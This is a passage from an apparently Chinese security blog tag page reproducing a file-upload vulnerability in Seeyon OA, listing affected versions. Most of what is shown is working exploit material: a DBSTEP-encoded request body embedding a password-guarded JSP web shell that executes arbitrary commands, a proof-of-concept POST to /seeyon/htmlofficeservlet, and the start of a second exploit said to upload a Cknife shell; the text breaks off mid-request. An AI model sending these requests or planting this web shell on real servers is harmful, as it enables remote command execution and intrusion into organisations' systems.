Tag:文件上传漏洞

Tag (文件上传漏洞)'s result:

致远oa(seeyon)文件上传漏洞重现及分析

0x00 影响范围 经本人测试,如下 v6.1sp2 a6+v7sp3 A8-v5 v6.1sp1 实际范围不止以上版本。 0x01 漏洞重现 验证: 网上流传的exp: DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language=”java” import=”java.util.*,java.io.*” pageEncoding=”UTF-8″%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+”\n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if(“asasd3344”.equals(request.getParameter(“pwd”))&&!””.equals(request.getParameter(“cmd”))){out.println(“<pre>”+excuteCmd(request.getParameter(“cmd”)) + “</pre>”);}else{out.println(“:-)”);}%>6e4f045d4b8506bf492ada7e3390d7ce   POC: //根据exp1修改 a6+v7sp3 发送数据包: POST /seeyon/htmlofficeservlet HTTP/1.1 Host: xxx.com.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=AD5D04D5A82032FCB3C91028ADF9F839; loginPageURL= Connection: close Content-Length: 462   DBSTEP V3.0 345 0 21 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbrJuz7T2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 only-test-seeyon-rcexxxxxx   EXP0:传Cknife马 v6.1sp2 POST /seeyon/htmlofficeservlet HTTP/1.1 Host: 58.1.1.2:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=0d218993-e7c3-4caa-8281-42c886e5f42c; loginPageURL=”” Connection: close Content-Length: 9540   DBSTEP V3.0 348 0 9122 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr……